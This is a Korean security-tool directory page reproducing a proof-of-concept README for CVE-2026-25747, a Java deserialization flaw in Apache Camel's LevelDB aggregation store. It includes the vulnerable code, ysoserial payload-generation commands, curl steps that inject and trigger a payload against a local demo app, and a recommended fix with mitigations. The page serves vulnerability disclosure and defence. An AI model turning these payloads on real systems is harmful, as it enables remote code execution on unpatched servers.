Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-25747 — CVE-2026-25747 - Camel LevelDB 역직렬화 취약점 | Kitploit
도구/GitHubGitHub/oscerd/cve-2026-25747
Vulnerability AnalysisCode AnalysisExploitationWeb SecurityPenetration TestingLearning & Education
GitHuboscerd/cve-2026-25747

CVE-2026-25747

CVE-2026-25747 - Camel LevelDB 역직렬화 취약점

저장소 보기
6개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

LevelDB 역직렬화 취약점 재현 도구

이 프로젝트는 Apache Camel의 LevelDB 집계 저장소(Aggregation Repository)에 존재하는 Java 역직렬화 취약점을 시연합니다. 이는 CVE-2024-23114 (Cassandra 집계 저장소에 영향을 주었던 취약점)와 유사합니다.

취약점 요약

속성값
구성 요소camel-leveldb
영향받는 클래스DefaultLevelDBSerializer.java
취약한 메서드deserializeKey(), deserializeExchange()
CWECWE-502: 신뢰할 수 없는 데이터의 역직렬화
영향원격 코드 실행 (RCE)
영향받는 버전테스트 시점 기준 4.17.0을 포함한 모든 버전 (미패치)

기술적 세부 사항

DefaultLevelDBSerializer 클래스는 필터링 없이 원시 ObjectInputStream을 사용합니다:

root@kitploit:~
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
    try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
        return (String) ois.readObject();  // NO FILTERING!
    }
}

// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    return deserializeExchange(camelContext, buffer, b -> {
        try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
            return (DefaultExchangeHolder) ois.readObject();  // NO FILTERING!
        }
    });
}

이를 패치된 Cassandra 구현체(Camel 4.4.0 이후)와 비교해 보세요:

root@kitploit:~
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
    ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
    objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
    // Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
    return objectIn.readObject();
}

사전 요구 사항

  • Java 17+
  • Maven 3.8+
  • ysoserial (페이로드 생성용)

재현 단계

1단계: 애플리케이션 빌드 및 실행

root@kitploit:~
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run

2단계: LevelDB 데이터베이스 초기화

먼저 LevelDB 데이터베이스를 초기화합니다 (디렉터리를 생성하고 테스트 항목을 추가합니다).

예상 출력:

root@kitploit:~
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key

Now you can inject a malicious payload with POST /exploit/inject

3단계: 악성 페이로드 생성

ysoserial을 다운로드하고 페이로드를 생성합니다:

root@kitploit:~
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt

# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt

# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt

4단계: LevelDB에 페이로드 주입

root@kitploit:~
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  -d @payload.txt

예상 출력:

root@kitploit:~
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key

The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs

5단계: 역직렬화 트리거 (RCE!)

root@kitploit:~
# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger

이렇게 하면 모든 키를 순회하며 repo.get()을 호출하여 역직렬화를 트리거합니다!

6단계: 익스플로잇 확인

root@kitploit:~
# Check if the command was executed
ls -la /tmp/pwned

/tmp/pwned 파일이 존재하면 익스플로잇이 성공한 것입니다!

공격 벡터

이 취약점은 여러 경로를 통해 트리거될 수 있습니다:

  1. 애플리케이션 재시작: Camel이 시작되면 LevelDB에서 미완료된 집계를 복구합니다.
  2. 복구 메커니즘: 주기적인 복구 스캔이 저장된 Exchange를 역직렬화합니다.
  3. 직접 접근: 저장소에 대한 get() 호출은 역직렬화를 트리거합니다.

익스플로잇 조건

성공적인 익스플로잇을 위한 조건:

  1. LevelDB에 대한 쓰기 권한: 공격자는 LevelDB 데이터베이스 파일에 쓸 수 있어야 합니다.

    • 공유 파일 시스템
    • 손상된 스토리지
    • 파일 쓰기를 허용하는 또 다른 취약점
  2. 클래스패스의 가젯 라이브러리: 악용 가능한 가젯 체인을 가진 라이브러리가 있어야 합니다.

    • commons-collections:3.2.1 (CommonsCollections1-7 가젯)
    • org.springframework:spring-core (Spring 가젯)
    • 기타 다수 (ysoserial 참조)

CVE-2024-23114와의 비교

권장 수정 사항

Cassandra에 적용된 것과 동일한 수정 사항을 적용합니다:

  1. 원시 ObjectInputStream 대신 ClassLoadingAwareObjectInputStream을 사용합니다.
  2. 안전한 기본값을 가진 구성 가능한 ObjectInputFilter를 추가합니다.
  3. 기본 필터: "java.**;org.apache.camel.**;!*"

DefaultLevelDBSerializer.java에 대한 수정 예시:

root@kitploit:~
private String deserializationFilter = "java.**;org.apache.camel.**;!*";

public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
    try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
            new ByteArrayInputStream(buffer))) {
        ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
        // ... rest of deserialization
    }
}

완화 조치

수정 버전이 릴리스될 때까지:

  1. 파일 접근 제한: LevelDB 파일이 Camel 애플리케이션에서만 쓰기 가능하도록 보장합니다.
  2. 가젯 라이브러리 제거: 가능하면 commons-collections 3.x와 같은 취약한 라이브러리를 제거하거나 업그레이드합니다.
  3. 대체 serializer 사용: DefaultLevelDBSerializer 대신 JacksonLevelDBSerializer를 구성합니다.
  4. 네트워크 분리: LevelDB 집계를 사용하는 시스템을 격리합니다.

파일

root@kitploit:~
potential-leveldb/
├── pom.xml                          # Maven configuration with vulnerable deps
├── README.md                        # This file
└── src/main/java/com/example/
    ├── Application.java             # Spring Boot entry point
    ├── LevelDBRoute.java           # Camel route using LevelDB aggregation
    ├── StringAggregationStrategy.java
    └── ExploitController.java      # REST endpoints for exploitation

고지 사항

이 재현 도구는 보안 연구 및 승인된 테스트 용도로만 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.

도구 다운로드
항목Cassandra (CVE-2024-23114)LevelDB (이 이슈)
상태4.4.0에서 패치됨4.17.0에서 미패치
ObjectInputStreamClassLoadingAwareObjectInputStream 사용원시 ObjectInputStream 사용
역직렬화 필터"java.**;org.apache.camel.**;!*"없음
JIRACAMEL-20306아직 등록되지 않음